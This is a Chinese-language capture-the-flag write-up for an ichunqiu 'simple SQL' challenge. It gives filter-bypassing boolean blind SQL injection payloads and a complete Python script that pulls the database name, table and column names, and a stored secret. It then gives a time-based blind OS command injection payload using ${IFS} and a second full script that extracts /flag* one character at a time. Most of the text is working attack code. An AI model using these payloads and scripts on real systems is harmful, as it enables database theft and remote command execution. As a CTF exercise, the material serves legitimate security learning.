共计4408个字符,预计需要花费12分钟才能阅读完成。
题目
题目内容:简单 sql(手动滑稽),不需要 sqlmap 等自动化工具,请手工哟∧_∧
思路
打开网页是一个用户登录框,提示有 SQL 注入,我们在用户名处输入 '
试试:
发现有回显:
尝试 ' or 1=1 -- +
时发现过滤了空格,可以用 Tab 或者 () 来绕过。同时也过滤了 -
符号,用 #
来绕过。尝试 'or(1=1)#
:
成功登陆了系统,但是要求输入密钥,估计密钥存在了数据库里,因此还需获取数据库里的内容。
这里有回显,我们首先尝试布尔盲注(而不是时间盲注,太慢了。。)。假设我们猜测的字符正确,返回的是 输入密钥 界面,错误则返回的是 密码错误 界面。构造以下 SQL:
'OR(select+ascii(substr(database()from({position})for(1)))>{mid})#
database()
获取了当前数据库名,substr(database()from({position})for(1))
从提取当前数据库名的第 {position}
个字符。最后转换成 ASCII 码,与我们猜测值 {mid}
作对比,正确则猜下一个。给出 python 二分法猜测代码:
import requests
import time
# 目标地址和参数配置
target_url = "http://eci-2ze82rmt4scjqy44f8b4.cloudeci1.ichunqiu.com/login.php"
username_field = "username" # 表单中的用户名字段名
password_field = "password" # 表单中的密码字段名
success_indicator = " 目前由于系统恶意登录尝试请求过多 " # 登录成功页面的特征字符串
# 请求头配置(根据实际需要添加)headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
# 布尔盲注爆破函数
def blind_injection():
current_str = "" # 当前爆破出的字符串
position = 1 # 从第 1 个字符开始爆破
while True:
low = 0 # ASCII 可打印字符起始值
high = 127 # ASCII 可打印字符结束值
found = False
# 使用二分法提高效率
while low <= high:
mid = (low + high) // 2
# 构造注入 payload
# 爆破数据库名
payload = f"'OR(select+ascii(substr(database()from({position})for(1)))>{mid})#"
# 爆破表名
# offset = 0 # 第 i 个表名
# payload = f"'OR(select+ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#"
# 爆破字段名
# table_name = "double_check" # 表名
# offset = 0 # 第 i 个字段名
# payload = f"'OR(select+ascii(substr((select(column_name)from(information_schema.columns)where(table_name='{table_name}')limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#"
# 爆破 secret
# payload = f"'OR(select+ascii(substr((select(secret)from(double_check)limit\t1\toffset\t0)from({position})for(1)))>{mid})#"
# POST 数据包
data = {
username_field: payload,
password_field: "1" # 密码可任意
}
try:
# 发送请求(添加延迟避免触发 WAF)time.sleep(0.02)
response = requests.post(
target_url,
data=data,
headers=headers,
timeout=10
)
# print(response.text)
# print(payload)
# 检测是否注入成功
if success_indicator in response.text:
low = mid + 1
else:
high = mid - 1
except Exception as e:
print(f" 请求失败: {str(e)}")
continue
# 检查是否找到有效字符
if low > high:
current_char = chr(low)
if ord(current_char) == 0:
break # 遇到终止符时退出
current_str += current_char
print(f"[+] 当前爆破结果: {current_str}")
position += 1
else:
break
print(f"[!] 最终数据库名: {current_str}")
if __name__ == "__main__":
blind_injection()
获得当前数据库名为 testdb
,然后用以下 SQL 语句接着获取数据库里面有哪些表,爆破代码还是刚才那个:
'OR(select+ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#
double_check
和 user
表,因为现在我们要的是密钥,网页又是 doublecheck.php
。可以猜测从 double_check
表里面获取密钥。以下 SQL 获得表字段:
'OR(select+ascii(substr((select(column_name)from(information_schema.columns)where(table_name='{table_name}')limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#
接着从 secret
字段获得密钥:
'OR(select+ascii(substr((select(secret)from(double_check)limit\t1\toffset\t0)from({position})for(1)))>{mid})#
密钥为 dtfrtkcc0czkoua9S
,登录系统:
提示无法回显,可能又要用到盲注,输入 sleep 3
发现空格被禁用了!但是可以用 ${IFS}
或者 Tab 来绕过:
sleep${IFS}3
发现网页加载了 3 秒钟,是可行的!可以进行时间盲注。
我们大致知道 flag 在根目录下,直接用 cat /flag*
就能获取。然后通过 cat /flag*|cut -c {position}
来获得 flag 的第 {position}
个字符。最后用 bash 命令来判断是否猜测正确就好了,给出 python 时间盲注的代码:
import requests
import time
# 配置参数
target_url = "http://eci-2ze82rmt4scjqy44f8b4.cloudeci1.ichunqiu.com/index.php" # 目标 URL
cookie = {"PHPSESSID": "1f2814ea6824dcd6e963b6e4f49dacf1"} # 替换为实际的 PHPSESSID
post_data = {"data": "dummy"} # 需要注入的 POST 参数
delay_threshold = 1 # 延迟判定阈值(秒)def test_char(position, operator, guess, ifs='\t'):
# 构造时间盲注 payload
payload = (f"if{ifs}[{ifs}$(printf{ifs}'%d'{ifs}\"'$(cat{ifs}/flag*|cut{ifs}-c{ifs}{position})\"){ifs}{operator}{ifs}{guess}{ifs}];then{ifs}sleep{ifs}{delay_threshold};fi"
)
start_time = time.time()
try:
response = requests.post(
target_url,
data={**post_data, "command": payload},
timeout=delay_threshold,
cookies=cookie
)
# print(response.text)
except requests.exceptions.Timeout:
return True # 触发延时
elapsed = time.time() - start_time
return elapsed > delay_threshold
def binary_search(position):
low, high = 0, 127 # ASCII 全范围
found_char = None
while low <= high:
mid = (low + high) // 2
# Step 1: 检测是否大于中间值
if test_char(position, "-gt", mid):
low = mid + 1
else:
# Step 2: 检测是否等于中间值
if test_char(position, "-eq", mid):
found_char = chr(mid)
break
high = mid - 1
return found_char
def extract_flag():
flag = ""
position = 1 # 从第 1 个字符开始
while True:
char = binary_search(position)
if not char:
break
flag += char
print(f"\n[+] 当前爆破结果: {flag}", end="", flush=True)
# 检测到结束符(根据实际情况调整)if char == '}':
break
position += 1
return flag
if __name__ == "__main__":
result = extract_flag()
print("\n[!] 最终爆破结果:", result)
最终爆破得到了 flag!